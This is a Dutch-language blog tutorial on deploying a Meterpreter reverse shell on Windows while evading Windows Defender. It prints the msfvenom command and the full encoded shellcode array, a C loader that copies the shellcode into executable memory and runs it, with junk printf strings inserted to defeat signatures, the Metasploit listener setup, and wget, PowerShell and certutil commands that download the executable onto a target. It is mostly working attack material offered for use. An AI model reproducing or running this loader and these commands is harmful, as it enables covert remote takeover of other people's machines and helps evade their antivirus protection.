deploying meterpreter through obfuscated c executables

Vandaag wil ik het hebben over windows defender omzeilen, laatst toen ik bezig was kwam ik een interessante blog tegen waarin werd uitgelegd hoe je een meterpreter shell kan krijgen met msfvenom en om op een speciale manier windows defender te omzeilen. Ik wil dit vandaag nogmaals herhalen en laten zien dat het eigenlijk niet heel lastig is om dit uit te kunnen voeren. Duik dus vooral gezellig mee !

Msfvenom

Allereerst moeten wij een C script maken met behulp van msfvenom of ook wel de payload genoemd. Ik heb hiervoor de volgende commando uitgevoerd:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=tun0 LPORT=80 -e x86/shikata_ga_nai -i 15 -f c > out.c

Na het uitvoeren van bovenstaande commando wordt er een out.c bestand aangemaakt, dit bestand bevat het volgende:

unsigned char buf[] = 
"\xbf\x84\xa8\x9c\x8d\xda\xc2\xd9\x74\x24\xf4\x5a\x33\xc9\xb1"
"\xb4\x31\x7a\x15\x03\x7a\x15\x83\xc2\x04\xe2\x71\x10\xc2\xf7"
"\x55\x5c\x21\xcb\x7c\xea\xf1\x20\x24\x38\x33\x79\x76\xbd\x01"
"\x7e\xb7\x80\x8b\x7c\xab\x70\x5a\x4a\xcb\x56\xc8\x38\xff\x50"
"\x55\x15\x2f\xb0\x0c\x79\xe4\x2d\xf3\x75\x80\x1e\xa4\xd5\x4d"
"\x49\x91\x6d\x36\x81\x76\x20\x17\x4a\x8c\x07\xa9\x1d\xba\xd9"
"\x40\x78\x1a\xa9\x13\xa1\xfb\xe4\x84\x4f\x6d\xdf\x8b\xaf\x41"
"\x38\x44\x8f\xd3\xc9\x96\x82\x75\xab\xff\xd5\x54\x17\x67\xd7"
"\x04\xa1\x13\x1e\x4e\x60\x30\xff\x7d\x48\xbe\x82\x9f\x7e\xd5"
"\xed\x5c\x36\x7b\xf4\x16\x1c\x5f\x77\x4d\x85\x11\xf6\xbd\xd9"
"\xa1\x80\x91\xdd\x20\x43\xbf\x38\xbb\x00\xce\x88\x31\xcb\x3e"
"\xff\x8d\xba\x1c\x8d\xe7\x6f\xae\x39\x20\x00\xa2\x1b\xeb\x8c"
"\xb1\xad\x3d\x82\xcc\xda\xfa\x0e\x82\xdc\x64\x76\x40\x89\x01"
"\x5f\x31\x30\x50\xac\x83\x7d\x3e\x7a\xf1\x8a\x3a\x0d\x5a\xef"
"\x1c\x60\xdc\xdd\xe2\xa9\x4c\x88\xf6\xdc\xbe\x3c\x9e\xd4\x26"
"\x6d\xd1\x5e\xc3\x1d\x27\x2f\xd2\xe5\xd2\x30\xb2\x07\x25\x23"
"\x0a\x89\x83\xec\xce\x4b\xfb\x76\x7d\xbe\xc0\x3d\x66\x97\xc1"
"\x1f\x8b\x1f\x0c\xcc\xdf\x07\x8d\xb9\xb8\x26\x26\xa5\x1c\x31"
"\x43\x58\xc0\xd2\x6b\x88\x57\xb5\xab\xad\xfc\x18\x97\x6e\xd8"
"\x76\xc6\xc5\x55\x4f\xca\x1c\xea\xaa\xef\xcb\xea\xd9\xb6\x82"
"\xe7\x9f\xc1\x7e\xd6\xdb\xb9\x5a\x65\xfb\x1c\x24\x67\xa9\xfc"
"\xde\x90\xdc\xdd\x4d\xef\x22\x41\xf2\x5b\xa1\x0d\xc5\x41\x93"
"\x65\xe0\x44\xaf\xf1\x1c\x64\x2b\xfd\x79\x32\x3d\xb2\x59\xb0"
"\x0e\x90\xc7\xeb\x07\xf9\xe1\x5b\x48\x25\x48\x33\xbd\x7a\xf9"
"\x34\x2c\x1b\xbb\x53\x56\x3e\xd7\x22\x8c\x67\x9b\xd6\x70\x28"
"\x72\xbe\x7e\x0f\xee\x88\x05\xc3\xa0\x3e\xba\xb8\x1e\x51\xce"
"\xf8\x17\xa9\xfd\x64\xe0\x92\x4c\x02\xb8\x8c\x96\x80\xee\x72"
"\xf1\x44\x56\x2e\xcd\xb8\xaf\xe0\x7b\xee\x54\x60\x3d\xaa\xcb"
"\x45\xc9\x80\x14\x3d\x76\x74\xb4\x19\xb9\xfa\xf4\x23\x24\x7f"
"\x9d\xb3\x64\x3d\x07\xa7\x42\xc8\xd2\xc0\x21\x89\x8d\xd2\x89"
"\x86\xb9\x05\x6a\x08\x69\x3a\x55\xdf\x35\xf2\xcf\x60\x33\xb5"
"\x42\xf7\x9e\x37\xa0\x2e\x45\xfd\xe7\xd2\x92\x62\x31\xe5\x75"
"\x51\xd4\xa3\xea\x7c\xf4\x5e\x2e\xda\x4e\x9b\x71\x3b\x77\xf1"
"\xc0\x3a\x9d\xed\x80\x7b\x26\x8c\xe6\x05\xdf\xab\xc7\xe6\xea"
"\xac\xec\x6a\xbe\xe2\x35\x0e\xbf\x3e\x89\x4c\xa5\x02\x10\x39"
"\xdf\x64\x37\xb0\xf8\x50\x06\x6b\x14\x87\xa3\x68\xd4\xf7\x77"
"\xd0\x2e\x63\xc7\x20\x68\x45\xd5\x97\x3c\x76\xf0\xa6\x3f\x55"
"\x42\x64\xdc\x82\x3d\x0a\x0e\xc4\xc7\x0d\xe0\x06\x89\x7a\x97"
"\xd9\x66\xcd\x7f\x03\xf5\x89\x52\xa5\xc9\x26\x00\xbe\xe1\xf3"
"\x57\xfa\x34\xcc\xe7\xf1\xf1\x30\x69\x15\x4f\xb1\xcb\x55\x7a"
"\xa4\x3f\xc2\x9b\x2d\x92\x93\x70\xac\x7e\xee\xd8\x5a\x4f\x7d"
"\x99\x74\xe8\x1d\xea\xb7\x65\x17\x94\x8d\x4c\xa7\x64\x8a\x32"
"\x55\x97\xbd\x52\xc1\x77\x12\x0c\x22\x3d\x4a\x10\xb4\xb6\x2f"
"\xcf\xd7\x6e\xfd\x7e\x89\xf3\x75\x70\xcb\xa8\x25\x9e\x19\x61"
"\x4d\xc7\x01\x3b\xa1\x27\xdd\xca\x8e\xc0\x55\xbf\xe4\x24\x1d"
"\xf4\xa3\xf5\x8f\xfa\x9a\x1f\x9c\xda\x50\x53\x62\xf6\xf1\x0f"
"\xb7\xc7\x5b\x01\x65\xf9\x09\xa9\x41\xff\xf7\x56\x8a\xa5\x95"
"\x1a\x1a\xf2\x29\x12\x50\xb3\x8c\x5f\xf8\xb9\xc2\x01\x20\xb3"
"\x68\x9a\x1d\x76\x74\x36\xb5\xff\x84\x38\xcd\x46\xb0\xd7\xbf"
"\xb1\x02\xc3\x57\x24\xb6\x58\xfc\x19\xf8\x25";

Dit en de lengte moeten wij onthouden, na het uitvoeren van de msfvenom commando krijg jij ook de informatie omtrent de lengte van de payload. De volgende stap is om visual studio te openen.

Visual studio

Zodra visual studio is geopend klik je op ‘New project’.

Eenmaal op ‘Project’ te hebben geklikt komt er een nieuw scherm tevoorschijn waar wij op ‘Empty project’ klikken.

nadat het project is gemaakt komt er een leeg scherm tevoorschijn, wederom moeten wij met op ‘source files’ klikken met onze rechtermuisknop en daarna op ‘Add’ -> ‘New Item’.

Vervolgens klikken wij op C++ file.

Nu hebben wij een lege pagina voor ons, klik wederom met de rechtermuisknop op ‘Source.cpp’ en verander de naam naar main.cpp.

Vervolgens plakken wij de volgende code in het bestand.

#include 
#include 

unsigned const char payload[] = 
"\xbf\x84\xa8\x9c\x8d\xda\xc2\xd9\x74\x24\xf4\x5a\x33\xc9\xb1"
"\xb4\x31\x7a\x15\x03\x7a\x15\x83\xc2\x04\xe2\x71\x10\xc2\xf7"
"\x55\x5c\x21\xcb\x7c\xea\xf1\x20\x24\x38\x33\x79\x76\xbd\x01"
"\x7e\xb7\x80\x8b\x7c\xab\x70\x5a\x4a\xcb\x56\xc8\x38\xff\x50"
"\x55\x15\x2f\xb0\x0c\x79\xe4\x2d\xf3\x75\x80\x1e\xa4\xd5\x4d"
"\x49\x91\x6d\x36\x81\x76\x20\x17\x4a\x8c\x07\xa9\x1d\xba\xd9"
"\x40\x78\x1a\xa9\x13\xa1\xfb\xe4\x84\x4f\x6d\xdf\x8b\xaf\x41"
"\x38\x44\x8f\xd3\xc9\x96\x82\x75\xab\xff\xd5\x54\x17\x67\xd7"
"\x04\xa1\x13\x1e\x4e\x60\x30\xff\x7d\x48\xbe\x82\x9f\x7e\xd5"
"\xed\x5c\x36\x7b\xf4\x16\x1c\x5f\x77\x4d\x85\x11\xf6\xbd\xd9"
"\xa1\x80\x91\xdd\x20\x43\xbf\x38\xbb\x00\xce\x88\x31\xcb\x3e"
"\xff\x8d\xba\x1c\x8d\xe7\x6f\xae\x39\x20\x00\xa2\x1b\xeb\x8c"
"\xb1\xad\x3d\x82\xcc\xda\xfa\x0e\x82\xdc\x64\x76\x40\x89\x01"
"\x5f\x31\x30\x50\xac\x83\x7d\x3e\x7a\xf1\x8a\x3a\x0d\x5a\xef"
"\x1c\x60\xdc\xdd\xe2\xa9\x4c\x88\xf6\xdc\xbe\x3c\x9e\xd4\x26"
"\x6d\xd1\x5e\xc3\x1d\x27\x2f\xd2\xe5\xd2\x30\xb2\x07\x25\x23"
"\x0a\x89\x83\xec\xce\x4b\xfb\x76\x7d\xbe\xc0\x3d\x66\x97\xc1"
"\x1f\x8b\x1f\x0c\xcc\xdf\x07\x8d\xb9\xb8\x26\x26\xa5\x1c\x31"
"\x43\x58\xc0\xd2\x6b\x88\x57\xb5\xab\xad\xfc\x18\x97\x6e\xd8"
"\x76\xc6\xc5\x55\x4f\xca\x1c\xea\xaa\xef\xcb\xea\xd9\xb6\x82"
"\xe7\x9f\xc1\x7e\xd6\xdb\xb9\x5a\x65\xfb\x1c\x24\x67\xa9\xfc"
"\xde\x90\xdc\xdd\x4d\xef\x22\x41\xf2\x5b\xa1\x0d\xc5\x41\x93"
"\x65\xe0\x44\xaf\xf1\x1c\x64\x2b\xfd\x79\x32\x3d\xb2\x59\xb0"
"\x0e\x90\xc7\xeb\x07\xf9\xe1\x5b\x48\x25\x48\x33\xbd\x7a\xf9"
"\x34\x2c\x1b\xbb\x53\x56\x3e\xd7\x22\x8c\x67\x9b\xd6\x70\x28"
"\x72\xbe\x7e\x0f\xee\x88\x05\xc3\xa0\x3e\xba\xb8\x1e\x51\xce"
"\xf8\x17\xa9\xfd\x64\xe0\x92\x4c\x02\xb8\x8c\x96\x80\xee\x72"
"\xf1\x44\x56\x2e\xcd\xb8\xaf\xe0\x7b\xee\x54\x60\x3d\xaa\xcb"
"\x45\xc9\x80\x14\x3d\x76\x74\xb4\x19\xb9\xfa\xf4\x23\x24\x7f"
"\x9d\xb3\x64\x3d\x07\xa7\x42\xc8\xd2\xc0\x21\x89\x8d\xd2\x89"
"\x86\xb9\x05\x6a\x08\x69\x3a\x55\xdf\x35\xf2\xcf\x60\x33\xb5"
"\x42\xf7\x9e\x37\xa0\x2e\x45\xfd\xe7\xd2\x92\x62\x31\xe5\x75"
"\x51\xd4\xa3\xea\x7c\xf4\x5e\x2e\xda\x4e\x9b\x71\x3b\x77\xf1"
"\xc0\x3a\x9d\xed\x80\x7b\x26\x8c\xe6\x05\xdf\xab\xc7\xe6\xea"
"\xac\xec\x6a\xbe\xe2\x35\x0e\xbf\x3e\x89\x4c\xa5\x02\x10\x39"
"\xdf\x64\x37\xb0\xf8\x50\x06\x6b\x14\x87\xa3\x68\xd4\xf7\x77"
"\xd0\x2e\x63\xc7\x20\x68\x45\xd5\x97\x3c\x76\xf0\xa6\x3f\x55"
"\x42\x64\xdc\x82\x3d\x0a\x0e\xc4\xc7\x0d\xe0\x06\x89\x7a\x97"
"\xd9\x66\xcd\x7f\x03\xf5\x89\x52\xa5\xc9\x26\x00\xbe\xe1\xf3"
"\x57\xfa\x34\xcc\xe7\xf1\xf1\x30\x69\x15\x4f\xb1\xcb\x55\x7a"
"\xa4\x3f\xc2\x9b\x2d\x92\x93\x70\xac\x7e\xee\xd8\x5a\x4f\x7d"
"\x99\x74\xe8\x1d\xea\xb7\x65\x17\x94\x8d\x4c\xa7\x64\x8a\x32"
"\x55\x97\xbd\x52\xc1\x77\x12\x0c\x22\x3d\x4a\x10\xb4\xb6\x2f"
"\xcf\xd7\x6e\xfd\x7e\x89\xf3\x75\x70\xcb\xa8\x25\x9e\x19\x61"
"\x4d\xc7\x01\x3b\xa1\x27\xdd\xca\x8e\xc0\x55\xbf\xe4\x24\x1d"
"\xf4\xa3\xf5\x8f\xfa\x9a\x1f\x9c\xda\x50\x53\x62\xf6\xf1\x0f"
"\xb7\xc7\x5b\x01\x65\xf9\x09\xa9\x41\xff\xf7\x56\x8a\xa5\x95"
"\x1a\x1a\xf2\x29\x12\x50\xb3\x8c\x5f\xf8\xb9\xc2\x01\x20\xb3"
"\x68\x9a\x1d\x76\x74\x36\xb5\xff\x84\x38\xcd\x46\xb0\xd7\xbf"
"\xb1\x02\xc3\x57\x24\xb6\x58\xfc\x19\xf8\x25";

size_t size = 746;

int main(int argc, char** argv) {    
	char* code;    
	printf("Hau ausazko katea besterik ez da! N");    
	code = (char*)VirtualAlloc(NULL, size, MEM_COMMIT,PAGE_EXECUTE_READWRITE);
	printf("Hau ausazko katea besterik ez da! N");
	memcpy(code, payload, size);
	printf("Això és només una cadena aleatòria! N");
	((void(*)())code)();
	return(0);
}

Het is raadzaam om een aantal printf commando’s ertussen te stoppen met willekeurige teksten om te voorkomen dat telkens de signature wordt gepakt en het later niet meer werkt. Ook moet de size aangepast worden naar de grote van jouw eigen payload die jij met msfvenom heb gemaakt.

Volgende stap is om de settings op ‘Release’ en ‘x86’ te zetten.

Als dat gedaan is kan er op ‘Local windows debugger’ worden geklikt waarna er een .exe bestand wordt aangemaakt.

Dit bestand dient naar de target machine te worden gezet waarna er een meterpreter luisteraar geopent moet worden alvorens het te runnen op de target. Voer hiervoor de volgende commando uit:

msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp 
set LHOST 
set LPORT 
run

Nadat bovenstaande is uitgevoerd moet het bestand dat wij gemaakt hebben met visual studio naar de target worden overgezet dit kan op verschillende manieren:

1) wget http://IP:PORT/Project1.exe
2) (New-Object Net.WebClient).DownloadFile('http://IP:PORT/Project1.exe','C:\Project1.exe')
3) certutil -urlache -split -f http://IP:PORT/Project1.exe

Zodra het bestand op de target staat is het een kwestie van uitvoeren:

.\Project1.exe

Vervolgens controleer de luisteraar en als het goed is zou je een shell moeten hebben !

Bedankt voor het lezen en tot de volgende keer !

Bronnen

  • https://securityboulevard.com/2020/02/evading-antivirus-with-better-meterpreter-payloads/
Please share and spread
NederlandsEnglish